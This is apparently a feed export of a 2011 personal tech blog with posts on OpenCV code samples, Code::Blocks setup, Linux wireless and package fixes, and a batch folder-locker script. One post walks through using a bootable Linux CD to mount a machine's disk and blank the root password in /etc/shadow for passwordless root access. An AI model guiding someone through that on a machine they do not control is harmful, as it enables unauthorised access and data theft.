20px; text-align: left;">ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Locker </span><br style="font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-family: 'courier new'; font-size: 13px; line-height: 20px; text-align: left;">echo Folder Unlocked successfully </span><br style="font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-family: 'courier new'; font-size: 13px; line-height: 20px; text-align: left;">goto End </span><br style="font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-family: 'courier new'; font-size: 13px; line-height: 20px; text-align: left;">:FAIL </span><br style="font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-family: 'courier new'; font-size: 13px; line-height: 20px; text-align: left;">echo Invalid password </span><br style="font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-family: 'courier new'; font-size: 13px; line-height: 20px; text-align: left;">goto end </span><br style="font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-family: 'courier new'; font-size: 13px; line-height: 20px; text-align: left;">:MDLOCKER </span><br style="font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-family: 'courier new'; font-size: 13px; line-height: 20px; text-align: left;">md Locker </span><br style="font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-family: 'courier new'; font-size: 13px; line-height: 20px; text-align: left;">echo Folder successfully made </span><br style="font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-family: 'courier new'; font-size: 13px; line-height: 20px; text-align: left;">goto End </span><br style="font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 13px; line-height: 20px; text-align: left;" /><span style="font-family: 'courier new'; font-size: 13px; line-height: 20px; text-align: left;">:End</span></span>
</div>Agung Mega Iswarahttp://www.blogger.com/profile/11781550668334702413noreply@blogger.com0tag:blogger.com,1999:blog-5921365435249055889.post-86176513639611361592011-12-18T23:07:00.000+07:002011-12-18T23:07:38.782+07:00How to solve "Could not update .ICEauthority file /var/lib/gdm/.ICEauthority"?1. Boot into "Recovery Mode".<br />
2. Input the root password for maintenance mode.<br />
3. Go to the /var/lib/gdm folder (cd /var/lib/gdm).<br />
4. Remove the .ICEauthority file (rm .ICEauthority).<br />
5. Finally, reboot your computer.Agung Mega Iswarahttp://www.blogger.com/profile/11781550668334702413noreply@blogger.com1tag:blogger.com,1999:blog-5921365435249055889.post-3472559316663905482011-12-17T11:01:00.002+07:002013-03-20T07:52:16.248+07:00OpenCV Python Examples (Camera Capture)For the C++ implementation see <a href="http://hxr99.blogspot.com/2011/12/opencv-examples-showing-image.html" rel="nofollow">this</a> and <a href="http://hxr99.blogspot.com/2011/12/opencv-examples-camera-capture.html">this</a> post.<br />
<span style="font-family: 'Courier New', Courier, monospace;">import cv2.cv as cv</span><br />
<span style="font-family: 'Courier New', Courier, monospace;">import time</span><br />
<span style="font-family: 'Courier New', Courier, monospace;"><br /></span>
<span style="font-family: 'Courier New', Courier, monospace;">cv.NamedWindow("camera", 1)</span><br />
<span style="font-family: 'Courier New', Courier, monospace;"><br /></span>
<span style="font-family: 'Courier New', Courier, monospace;">capture = cv.CaptureFromCAM(0)</span><br />
<span style="font-family: 'Courier New', Courier, monospace;"><br /></span>
<span style="font-family: 'Courier New', Courier, monospace;">while True:</span><br />
<span style="font-family: 'Courier New', Courier, monospace;"> img = cv.QueryFrame(capture)</span><br />
<span style="font-family: 'Courier New', Courier, monospace;"> cv.ShowImage("camera", img)</span><br />
<span style="font-family: 'Courier New', Courier, monospace;"> if cv.WaitKey(10) == 27:</span><br />
<span style="font-family: 'Courier New', Courier, monospace;"> break</span><br />
<div>
<br /></div>
Agung Mega Iswarahttp://www.blogger.com/profile/11781550668334702413noreply@blogger.com0tag:blogger.com,1999:blog-5921365435249055889.post-61891898920106340202011-12-17T11:00:00.001+07:002013-03-20T07:50:32.117+07:00OpenCV Python Examples (Showing Image)For the C++ implementation see <a href="http://hxr99.blogspot.com/2011/12/opencv-examples-showing-image.html" rel="nofollow">this</a> and <a href="http://hxr99.blogspot.com/2011/12/opencv-examples-camera-capture.html">this</a> post.<br />
<span style="font-family: 'Courier New', Courier, monospace;">import sys</span><br />
<span style="font-family: 'Courier New', Courier, monospace;">import cv2.cv as cv</span><br />
<span style="font-family: 'Courier New', Courier, monospace;"><br /></span>
<span style="font-family: 'Courier New', Courier, monospace;">if __name__ == '__main__':</span><br />
<span style="font-family: 'Courier New', Courier, monospace;">input_name = args[0]</span><br />
<span style="font-family: 'Courier New', Courier, monospace;">image = cv.LoadImage(input_name, 1)</span><br />
<span style="font-family: 'Courier New', Courier, monospace;">cv.ShowImage("result", image)</span><br />
<span style="font-family: 'Courier New', Courier, monospace;">cv.WaitKey(0)</span><br />
<div>
<br /></div>
Agung Mega Iswarahttp://www.blogger.com/profile/11781550668334702413noreply@blogger.com2tag:blogger.com,1999:blog-5921365435249055889.post-11436317395150346422011-12-17T10:17:00.000+07:002013-03-20T07:54:05.490+07:00OpenCV C/C++ Examples (Camera Capture)There are also python implementation for <a href="http://hxr99.blogspot.com/2011/12/opencv-python-examples-camera-capture.html">camera capture</a> and <a href="http://hxr99.blogspot.com/2011/12/opencv-python-examples-showing-image.html">showing image</a>.<br />
<span style="font-family: 'Courier New', Courier, monospace;">#include <opencv2/objdetect/objdetect.hpp></span><br />
<span style="font-family: 'Courier New', Courier, monospace;">#include <opencv2/highgui/highgui.hpp></span><br />
<span style="font-family: 'Courier New', Courier, monospace;">#include <opencv2/imgproc/imgproc.hpp></span><br />
<span style="font-family: 'Courier New', Courier, monospace;"><br /></span>
<span style="font-family: 'Courier New', Courier, monospace;">#include <iostream></span><br />
<span style="font-family: 'Courier New', Courier, monospace;">#include <stdio.h></span><br />
<span style="font-family: 'Courier New', Courier, monospace;"><br /></span>
<span style="font-family: 'Courier New', Courier, monospace;">using namespace std;</span><br />
<span style="font-family: 'Courier New', Courier, monospace;">using namespace cv;</span><br />
<span style="font-family: 'Courier New', Courier, monospace;"></span><br />
<a name='more'></a><span style="font-family: 'Courier New', Courier, monospace;"><br /></span>
<span style="font-family: 'Courier New', Courier, monospace;">int main( int argc, const char** argv )</span><br />
<span style="font-family: 'Courier New', Courier, monospace;">{</span><br />
<span style="font-family: 'Courier New', Courier, monospace;"> CvCapture* capture = 0;</span><br />
<span style="font-family: 'Courier New', Courier, monospace;"> Mat frame, frameCopy, image;</span><br />
<span style="font-family: 'Courier New', Courier, monospace;"><br /></span>
<span style="font-family: 'Courier New', Courier, monospace;"> capture = cvCaptureFromCAM( 0 ); //0=default, -1=any camera, 1..99=your camera</span><br />
<span style="font-family: 'Courier New', Courier, monospace;"> if(!capture) cout << "No camera detected" << endl;</span><br />
<span style="font-family: 'Courier New', Courier, monospace;"><br /></span>
<span style="font-family: 'Courier New', Courier, monospace;"> cvNamedWindow( "result", 1 );</span><br />
<span style="font-family: 'Courier New', Courier, monospace;"><br /></span>
<span style="font-family: 'Courier New', Courier, monospace;"> if( capture )</span><br />
<span style="font-family: 'Courier New', Courier, monospace;"> {</span><br />
<span style="font-family: 'Courier New', Courier, monospace;"> cout << "In capture ..." << endl;</span><br />
<span style="font-family: 'Courier New', Courier, monospace;"> for(;;)</span><br />
<span style="font-family: 'Courier New', Courier, monospace;"> {</span><br />
<span style="font-family: 'Courier New', Courier, monospace;"> IplImage* iplImg = cvQueryFrame( capture );</span><br />
<span style="font-family: 'Courier New', Courier, monospace;"> frame = iplImg;</span><br />
<span style="font-family: 'Courier New', Courier, monospace;"> if( frame.empty() )</span><br />
<span style="font-family: 'Courier New', Courier, monospace;"> break;</span><br />
<span style="font-family: 'Courier New', Courier, monospace;"> if( iplImg->origin == IPL_ORIGIN_TL )</span><br />
<span style="font-family: 'Courier New', Courier, monospace;"> frame.copyTo( frameCopy );</span><br />
<span style="font-family: 'Courier New', Courier, monospace;"> else</span><br />
<span style="font-family: 'Courier New', Courier, monospace;"> flip( frame, frameCopy, 0 );</span><br />
<span style="font-family: 'Courier New', Courier, monospace;"><br /></span>
<span style="font-family: 'Courier New', Courier, monospace;"> if( waitKey( 10 ) >= 0 )</span><br />
<span style="font-family: 'Courier New', Courier, monospace;"> cvReleaseCapture( &capture );</span><br />
<span style="font-family: 'Courier New', Courier, monospace;"> }</span><br />
<span style="font-family: 'Courier New', Courier, monospace;"><br /></span>
<span style="font-family: 'Courier New', Courier, monospace;"> waitKey(0);</span><br />
<span style="font-family: 'Courier New', Courier, monospace;"><br /></span>
<span style="font-family: 'Courier New', Courier, monospace;"> cvDestroyWindow("result");</span><br />
<span style="font-family: 'Courier New', Courier, monospace;"><br /></span>
<span style="font-family: 'Courier New', Courier, monospace;"> return 0;</span><br />
<span style="font-family: 'Courier New', Courier, monospace;"> }</span><br />
<span style="font-family: 'Courier New', Courier, monospace;">}</span><br />
<div>
<br /></div>
Agung Mega Iswarahttp://www.blogger.com/profile/11781550668334702413noreply@blogger.com6tag:blogger.com,1999:blog-5921365435249055889.post-16716554293658703182011-12-17T01:52:00.002+07:002013-03-20T07:55:23.829+07:00OpenCV C/C++ Examples (Showing Image)There are also python implementation for <a href="http://hxr99.blogspot.com/2011/12/opencv-python-examples-showing-image.html">showing image</a> and <a href="http://hxr99.blogspot.com/2011/12/opencv-python-examples-camera-capture.html">camera capture</a>.<br />
Also you have to check up the <a href="http://hxr99.blogspot.com/2011/12/opencv-with-qt-c-examples-showing-image.html">implementation with Qt Framework</a>.<br />
<span style="font-family: 'Courier New', Courier, monospace;">#include <iostream></span><br />
<span style="font-family: 'Courier New', Courier, monospace;">#include <opencv2\opencv.hpp></span><br />
<span style="font-family: 'Courier New', Courier, monospace;"><br /></span>
<span style="font-family: 'Courier New', Courier, monospace;">using namespace std;</span><br />
<span style="font-family: 'Courier New', Courier, monospace;">using namespace cv;</span><br />
<span style="font-family: 'Courier New', Courier, monospace;"></span><br />
<a name='more'></a><span style="font-family: 'Courier New', Courier, monospace;"><br /></span>
<span style="font-family: 'Courier New', Courier, monospace;">int main( int argc, const char** argv )</span><br />
<span style="font-family: 'Courier New', Courier, monospace;">{</span><br />
<span style="font-family: 'Courier New', Courier, monospace;"> Mat image;</span><br />
<span style="font-family: 'Courier New', Courier, monospace;"> String inputName;</span><br />
<span style="font-family: 'Courier New', Courier, monospace;"><br /></span>
<span style="font-family: 'Courier New', Courier, monospace;"> for( int i = 1; i < argc; i++ )</span><br />
<span style="font-family: 'Courier New', Courier, monospace;"> {</span><br />
<span style="font-family: 'Courier New', Courier, monospace;"> inputName.assign( argv[i] );</span><br />
<span style="font-family: 'Courier New', Courier, monospace;"> }</span><br />
<span style="font-family: 'Courier New', Courier, monospace;"><br /></span>
<span style="font-family: 'Courier New', Courier, monospace;"> if( inputName.empty() || (isdigit(inputName.c_str()[0]) && inputName.c_str()[1] == '\0') )</span><br />
<span style="font-family: 'Courier New', Courier, monospace;"> {</span><br />
<span style="font-family: 'Courier New', Courier, monospace;"> if( inputName.size() )</span><br />
<span style="font-family: 'Courier New', Courier, monospace;"> {</span><br />
<span style="font-family: 'Courier New', Courier, monospace;"> image = imread( inputName, 1 );</span><br />
<span style="font-family: 'Courier New', Courier, monospace;"> }</span><br />
<span style="font-family: 'Courier New', Courier, monospace;"> else</span><br />
<span style="font-family: 'Courier New', Courier, monospace;"> {</span><br />
<span style="font-family: 'Courier New', Courier, monospace;"> if(image.empty()) cout << "Couldn't read image" << endl;</span><br />
<span style="font-family: 'Courier New', Courier, monospace;"> }</span><br />
<span style="font-family: 'Courier New', Courier, monospace;"> imshow("Test",image);</span><br />
<span style="font-family: 'Courier New', Courier, monospace;"> }</span><br />
<span style="font-family: 'Courier New', Courier, monospace;">}</span><br />
<div>
<br /></div>
Agung Mega Iswarahttp://www.blogger.com/profile/11781550668334702413noreply@blogger.com0tag:blogger.com,1999:blog-5921365435249055889.post-411997787892236622011-12-14T23:13:00.001+07:002011-12-16T22:37:33.390+07:00How to Setup OpenCV for code :: block in Linux and Windows?There are a lot of question asking how to setup the code::block for working with the OpenCV library.<br />
And this is the tutorial...<br />
Keep reading folks..<br />
:)<br />
<br />
<b>Linux and Windows First Steps</b><br />
1. Download the code :: block binary. (<a href="http://www.codeblocks.org/downloads/binaries">http://www.codeblocks.org/downloads/binaries</a>)<br />
2. Install the downloaded binary file.<br />
3. After you have successfully install the code :: block, you will have a working window like this one.<br />
<br />
<a name='more'></a><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiks4E4oMptsvICnbX3KWZ3p9iJAzsCuBRIFRnM03RJpSeqXGstdB3GmDfmD6ZLaubNoYzKmo6jHz1ZmwUmwOi8ICyluF2CDPvp35dr6cVkSYGHUBEyIftmqUvQb4avLV_nohe6iSye3so/s1600/codeblock.jpg" imageanchor="1"><img border="0" height="212" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiks4E4oMptsvICnbX3KWZ3p9iJAzsCuBRIFRnM03RJpSeqXGstdB3GmDfmD6ZLaubNoYzKmo6jHz1ZmwUmwOi8ICyluF2CDPvp35dr6cVkSYGHUBEyIftmqUvQb4avLV_nohe6iSye3so/s400/codeblock.jpg" width="400" /></a></div>
4. Then, download the OpenCV library. (Win: <a href="http://sourceforge.net/projects/opencvlibrary/files/opencv-win/2.3.1/">http://sourceforge.net/projects/opencvlibrary/files/opencv-win/2.3.1/</a> , Linux : <a href="http://sourceforge.net/projects/opencvlibrary/files/opencv-unix/2.3.1/">http://sourceforge.net/projects/opencvlibrary/files/opencv-unix/2.3.1/</a><br />
5. After you have downloaded the OpenCV library, read the wiki how to install it on your machine. (<a href="http://opencv.willowgarage.com/wiki/InstallGuide">http://opencv.willowgarage.com/wiki/InstallGuide</a>)<br />
<br />
Now, that you have already installed the code :: block and the OpenCV library, then you have to setup the OpenCV in the code :: block so we can use the OpenCV library for our programming activity later. <br />
<br />
<b>A. Windows Next Steps (Skip to section B. if you use Linux)</b><br />
6. Before you create a new project, let set the OpenCV library first. Okay, go to the Compiler and Debugger option (Settings -> Compiler and Debugger...)<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEghMdFoRzknKzsaBpagyO_oq6sdFfFkxf0ZLYoQ5i30zuoOOFIvF39G8SiMJ_drP_fR_mwSRCvJjQgUTNw1H7ub8Jj4pBTcH_h5K16jZ9zZIYG7XqjxVU2IBMaRmR9ED5rbvjoRVFIy3qI/s1600/setting.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="223" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEghMdFoRzknKzsaBpagyO_oq6sdFfFkxf0ZLYoQ5i30zuoOOFIvF39G8SiMJ_drP_fR_mwSRCvJjQgUTNw1H7ub8Jj4pBTcH_h5K16jZ9zZIYG7XqjxVU2IBMaRmR9ED5rbvjoRVFIy3qI/s400/setting.jpg" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEghMdFoRzknKzsaBpagyO_oq6sdFfFkxf0ZLYoQ5i30zuoOOFIvF39G8SiMJ_drP_fR_mwSRCvJjQgUTNw1H7ub8Jj4pBTcH_h5K16jZ9zZIYG7XqjxVU2IBMaRmR9ED5rbvjoRVFIy3qI/s1600/setting.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><br /></a></div>
7. A new dialog window appears, select the linker setting tab. Then click the "add" button, browse the OpenCV library by clicking "..." button, select all the OpenCV library in your OpenCV installation folder (in my case it's C:\Users\hxr99\Downloads\opencv\build\x86\mingw\bin\*). Click Open then OK to apply the OpenCV library in your code :: block.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjnH2xNmayY-yvhmMhyphenhyphengDLyy7oOdG3izL5tId56emzYSWgImhgFUwqNCbPRWtcKfFfVqh8UtECavHiHMokTU9Y5BbAtK3bKWrpXvxLGwUeLadD_9RAXunGAV9Br4yuAlgbOI_vUZ0fnbqk/s1600/linker.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="223" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjnH2xNmayY-yvhmMhyphenhyphengDLyy7oOdG3izL5tId56emzYSWgImhgFUwqNCbPRWtcKfFfVqh8UtECavHiHMokTU9Y5BbAtK3bKWrpXvxLGwUeLadD_9RAXunGAV9Br4yuAlgbOI_vUZ0fnbqk/s400/linker.jpg" width="400" /></a></div>
8. Done with the linker setting, now go to the Search Directories tab. Focus on the Compiler tab first, then click the "Add" button, browse the include library with the "..." button, then select the opencv and opencv2 folder in your OpenCV installation folder to add them to the code :: block (in my case it's C:\Users\hxr99\Downloads\opencv\build\include, C:\Users\hxr99\Downloads\opencv\build\include\opencv, and C:\Users\hxr99\Downloads\opencv\build\include\opencv2).<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjab0QJTGuPV5QnnJk87gaZFSDvLPMp12N5V_cKjydgLyi_dj1ZV6coG36MmdYvnITQXnJK43BtkQNff14HKpuIpxg5lqsQsUZPv_mgJ0A5lSmel5lugs4Qj-w7PdEXoV7SKn8Sry59Ssk/s1600/comp.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="367" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjab0QJTGuPV5QnnJk87gaZFSDvLPMp12N5V_cKjydgLyi_dj1ZV6coG36MmdYvnITQXnJK43BtkQNff14HKpuIpxg5lqsQsUZPv_mgJ0A5lSmel5lugs4Qj-w7PdEXoV7SKn8Sry59Ssk/s400/comp.jpg" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTqpcKFCiLjDrGwt39FnqBTBp51kggno5jpbAcQT9A9yYWLkUh2oMCobtbfrfREUPopx412qsthon4ZdYuRjhCeSJiKeRUEv1IUb46xcbCju2a_sEZg87KIAvjeoa0vBSdLEwY4Bw2ARE/s1600/comp.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><br /></a></div>
9. Then, focus on the linker tab next to the compiler tab, then click the "Add" button and locate the bin and lib folder in your OpenCV installation folder (in my case is C:\Users\hxr99\Downloads\opencv\build\x86\mingw\lib and C:\Users\hxr99\Downloads\opencv\build\x86\mingw\bin).<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHOQ3MAPE_EVMr3LmCna-lS_EIeRNFSM4zAdnO3bXfhTfHlHMDVPs9nMXC9f5_MGsHPBznXPhHJcWoC4Hemf4KlmL7WSNFFZ10IfYXtlpr2G44GydlaLyBWWgZH2oXd4nl78gBCrdAbWE/s1600/linkersss.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="367" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHOQ3MAPE_EVMr3LmCna-lS_EIeRNFSM4zAdnO3bXfhTfHlHMDVPs9nMXC9f5_MGsHPBznXPhHJcWoC4Hemf4KlmL7WSNFFZ10IfYXtlpr2G44GydlaLyBWWgZH2oXd4nl78gBCrdAbWE/s400/linkersss.jpg" width="400" /></a></div>
<br />
10. After you have finished all the setting, apply the setting with the "OK" button.<br />
<br />
<b>B. Linux Next Steps</b><br />
6. First, locate the OpenCV installation folder by typing this command in your terminal:<br />
<b><span style="font-family: "Courier New",Courier,monospace;">pkg-config --libs --cflags opencv</span></b><br />
<span style="font-family: inherit;">then your command will return the installation folder of the OpenCV.</span><br />
<span style="font-family: inherit;">(Example: -L/usr/local/lib -I/usr/local/include/opencv) </span><br />
<br />
7. After you already locate the opencv installation folder, just follow the steps in the A section above, change the windows folder with the current linux folder showed by the pkg-config command.<br />
<br />
<span style="font-family: "Courier New",Courier,monospace;"><span style="font-family: inherit;"><span style="font-family: "Courier New",Courier,monospace;"><span style="font-family: inherit;"></span></span></span></span>Okay, now you have already done with the OpenCV setting in the code :: block, in my next post, I will give you a few samples in OpenCV tutorials. So, what are you waiting for, start programming and keep reading my post.<br />
<br />
<span style="font-family: "Courier New",Courier,monospace;"><span style="font-family: inherit;"><span style="font-family: "Courier New",Courier,monospace;"><span style="font-family: inherit;">Btw, thank you for visiting my blog.. :)</span></span></span></span>Agung Mega Iswarahttp://www.blogger.com/profile/11781550668334702413noreply@blogger.com1tag:blogger.com,1999:blog-5921365435249055889.post-83763124398610700592011-10-07T23:30:00.000+07:002011-12-29T22:17:51.359+07:00How to Set a Wireless Ad-Hoc in Linux?1. Of course you must have a Linux Operating System to configure this thing out.<br />
2. Login to your Linux OS<br />
3. Run the terminal/konsole/bash/etc.<br />
4. Turn your Wireless Adapter on.<br />
5. To verify what's your wireless adapter is type this command in your terminal/konsole:<br />
<span style="font-family: 'Courier New', Courier, monospace;">ifconfig //A list of all available network adapter will appear (eth0,wlan0,etc.)</span><br />
6. Make sure which is your really wireless adapter name (usually wireless adapter have the "wlan0" name, it depends what type and how much you install network adapter in your Linux system).<br />
7. Okay, assume that your wireless adapter's name is wlan0 then type this in your terminal:<br />
<span style="font-family: 'Courier New', Courier, monospace;">ifconfig wlan0 up //this command is to bring up your wireless network adapter</span><br />
<span style="font-family: 'Courier New', Courier, monospace;"><span style="font-family: inherit;">8. To configure your wireless adapter as an Ad-Hoc type this:</span></span><br />
<span style="font-family: 'Courier New', Courier, monospace;"><span style="font-family: inherit;"><span style="font-family: 'Courier New', Courier, monospace;">iwconfig wlan0 mode ad-hoc //set your wireless adapter to Ad-Hoc mode</span></span></span><br />
<span style="font-family: 'Courier New', Courier, monospace;"><span style="font-family: inherit;"><span style="font-family: 'Courier New', Courier, monospace;"></span></span></span><br />
<a name='more'></a><br />
<span style="font-family: 'Courier New', Courier, monospace;"><span style="font-family: inherit;"><span style="font-family: 'Courier New', Courier, monospace;"><span style="font-family: inherit;">9. To name/rename your ad-hoc name type:</span></span></span></span><br />
<span style="font-family: 'Courier New', Courier, monospace;"><span style="font-family: inherit;"><span style="font-family: 'Courier New', Courier, monospace;"><span style="font-family: inherit;"><span style="font-family: 'Courier New', Courier, monospace;">iwconfig wlan0 essid "xyz"</span> </span> //</span> </span>set your Ad-Hoc name to xyz</span><br />
<div style="font-family: inherit;">
10. If you want to set an WEP key to your ad-hoc:</div>
<span style="font-family: 'Courier New', Courier, monospace;">iwconfig wlan0 key xxxxxx //the xxxxxx must be in hexadecimal,example: iwconfig wlan0 key 0123-4567-89</span><br />
<span style="font-family: 'Courier New', Courier, monospace;"><span style="font-family: inherit;">11. Set your IP and Subnet Mask, type:</span></span><br />
<span style="font-family: 'Courier New', Courier, monospace;"><span style="font-family: inherit;"><span style="font-family: 'Courier New', Courier, monospace;">ifconfig wlan0 yyy.yyy.yyy.yyy netmask zzz.zzz.zzz.zzz //where yyy.yyy.yyy.yyy is your IP address and zzz.zzz.zzz.zzz is your subnet mask.</span></span></span><br />
<br />
<span style="font-family: 'Courier New', Courier, monospace;"><span style="font-family: inherit;"><span style="font-family: 'Courier New', Courier, monospace;"><span style="font-family: inherit;">Yeah, your wireless adapter is already set up as an Ad-Hoc. Congratulation!!!</span></span></span></span><br />
<span style="font-family: 'Courier New', Courier, monospace;"><span style="font-family: inherit;"><span style="font-family: 'Courier New', Courier, monospace;"><span style="font-family: inherit;">:)</span></span></span></span><br />
<span style="font-family: 'Courier New', Courier, monospace;"><span style="font-family: inherit;"><span style="font-family: 'Courier New', Courier, monospace;"><span style="font-family: inherit;">Thank you for visiting my blog..</span></span></span></span>Agung Mega Iswarahttp://www.blogger.com/profile/11781550668334702413noreply@blogger.com2tag:blogger.com,1999:blog-5921365435249055889.post-82440417360282880122011-09-24T00:14:00.000+07:002011-12-17T01:02:32.651+07:00Stealing/Changing Data Using a Bootable Linux CDOnce an attacker has gained physical access, getting into a box can be as simple as booting to a CD-based Linux distribution, deleting the root user account password in the /etc/shadow file, and booting into the system, normally with full access. This can be accomplished step-by-step as follows:<br />
<br />
<a name='more'></a>1. Reboot the system and configure it to boot from the CD-ROM.<br />
2. Boot the system into the bootable Linux distribution, such as one of the following:<br />
<ul>
<li>Backtrack (http://www.backtrack-linux.org/downloads/)</li>
<li>Knoppix-STD (http://s-t-d.org/download.html)</li>
</ul>
3. Open a root command shell.<br />
4. Create a mount point by typing the following <span style="font-family: 'Trebuchet MS', sans-serif; font-size: small;"><b>mkdir mountpoint</b></span>, which will create a directory called mountpoint. This is where the file system will be mounted.<br />
5. Determine the type of hard disks (SCSI or IDE) on the system. To determine, type <b><span style="font-family: Georgia, 'Times New Roman', serif;">fdisk -l</span></b> <span style="font-size: small;"><span style="font-family: Times, 'Times New Roman', serif;">or look through the output of the <b><span style="font-family: Georgia, 'Times New Roman', serif;">dmesg</span></b> command</span></span>.<br />
6. Determine the partition on the disk to be mounted. Identify the correct partition that contains the /etc/shadow file (always the root "/" partition).<br />
7. Type <b><span style="font-family: Georgia, 'Times New Roman', serif;">mount /dev/sda# mountpoint</span></b>, where <b><span style="font-family: Georgia, 'Times New Roman', serif;">/dev/sda#</span></b> is your root partition, and <b><span style="font-family: Georgia, 'Times New Roman', serif;">mountpoint</span></b> is the directory you created.<br />
8. Change to the /etc directory on your root partition by typing <b style="font-family: Georgia,"Times New Roman",serif;">cd mountpoint/etc</b>.<br />
9. Use your favorite text editor (such as vi) to open the etc/shadow file for editing.<br />
10. Scroll down to the line containing the root's information, which looks something like:<br />
<span style="font-family: 'Courier New', Courier, monospace;">root:qew2i3/hgu6rt:13659:0:99999:7:::</span><br />
<span style="font-family: 'Courier New', Courier, monospace;"><span style="font-family: Times, 'Times New Roman', serif;">11. Delete everything between the first and second colons, so the line resembles this one:</span></span><br />
<span style="font-family: 'Courier New', Courier, monospace;">root:13659:0:99999:7:::</span><br />
<span style="font-family: 'Courier New', Courier, monospace;"><span style="font-family: Times, 'Times New Roman', serif;">12. Save the file and exit your editor.</span></span><br />
<span style="font-family: 'Courier New', Courier, monospace;"><span style="font-family: Times, 'Times New Roman', serif;">13. Type <b style="font-family: Georgia,"Times New Roman",serif;">cd</b> to return to the home directory.</span></span><br />
<span style="font-family: 'Courier New', Courier, monospace;"><span style="font-family: Times, 'Times New Roman', serif;">14. Type <b style="font-family: Georgia,"Times New Roman",serif;">umount mountpoint</b> to unmount the target file system.</span></span><br />
<span style="font-family: 'Courier New', Courier, monospace;"><span style="font-family: Times, 'Times New Roman', serif;">15. Type <b style="font-family: Georgia,"Times New Roman",serif;">reboot</b> to reboot the system and remove the bootable Linux distribution CD from the drive.</span></span><br />
<span style="font-family: 'Courier New', Courier, monospace;"><span style="font-family: Times, 'Times New Roman', serif;">16. Now the system can be accessed as root with no password.</span></span><br />
<span style="font-family: 'Courier New', Courier, monospace;"><span style="font-family: Times, 'Times New Roman', serif;"><br /></span></span><br />
<blockquote>
<span style="font-family: 'Courier New', Courier, monospace;"><span style="font-family: Times, 'Times New Roman', serif;"><span style="color: red;">Source : Hacking Exposed Linux Book by ISECOM</span></span></span></blockquote>
That's all folks, I hope this tutorial will help you.<br />
It's just for educational purpose only.<br />
The author is not responsible for any misuse or damage caused by this tutorial.<br />
<br />
Thank you for visiting my blog.Agung Mega Iswarahttp://www.blogger.com/profile/11781550668334702413noreply@blogger.com0tag:blogger.com,1999:blog-5921365435249055889.post-40297953202509696362011-09-15T10:18:00.001+07:002011-12-27T22:02:10.665+07:00How to Install Arch Package OFFLINE?This tutorial is for Arch Linux user who doesn't have any internet connection.<br />
First, download the current database on a Internet connected computer from this server :<br />
<br />
<a name='more'></a><br />
For i686:
<br />
<ul>
<li> <a class="external free" href="ftp://ftp.archlinux.org/core/os/i686/core.db.tar.gz" rel="nofollow">ftp://ftp.archlinux.org/core/os/i686/core.db.tar.gz</a>
</li>
<li> <a class="external free" href="ftp://ftp.archlinux.org/core/os/i686/core.db" rel="nofollow">ftp://ftp.archlinux.org/core/os/i686/core.db</a>
</li>
<li> <a class="external free" href="ftp://ftp.archlinux.org/extra/os/i686/extra.db.tar.gz" rel="nofollow">ftp://ftp.archlinux.org/extra/os/i686/extra.db.tar.gz</a>
</li>
<li> <a class="external free" href="ftp://ftp.archlinux.org/extra/os/i686/extra.db" rel="nofollow">ftp://ftp.archlinux.org/extra/os/i686/extra.db</a>
</li>
<li> <a class="external free" href="ftp://ftp.archlinux.org/community/os/i686/community.db.tar.gz" rel="nofollow">ftp://ftp.archlinux.org/community/os/i686/community.db.tar.gz</a>
</li>
<li> <a class="external free" href="ftp://ftp.archlinux.org/community/os/i686/community.db" rel="nofollow">ftp://ftp.archlinux.org/community/os/i686/community.db</a>
</li>
<li> <a class="external free" href="ftp://ftp.archlinux.org/multilib/os/i686/multilib.db.tar.gz" rel="nofollow">ftp://ftp.archlinux.org/multilib/os/i686/multilib.db.tar.gz</a>
</li>
</ul>
For x86_64:
<br />
<ul>
<li> <a class="external free" href="ftp://ftp.archlinux.org/core/os/x86_64/core.db.tar.gz" rel="nofollow">ftp://ftp.archlinux.org/core/os/x86_64/core.db.tar.gz</a>
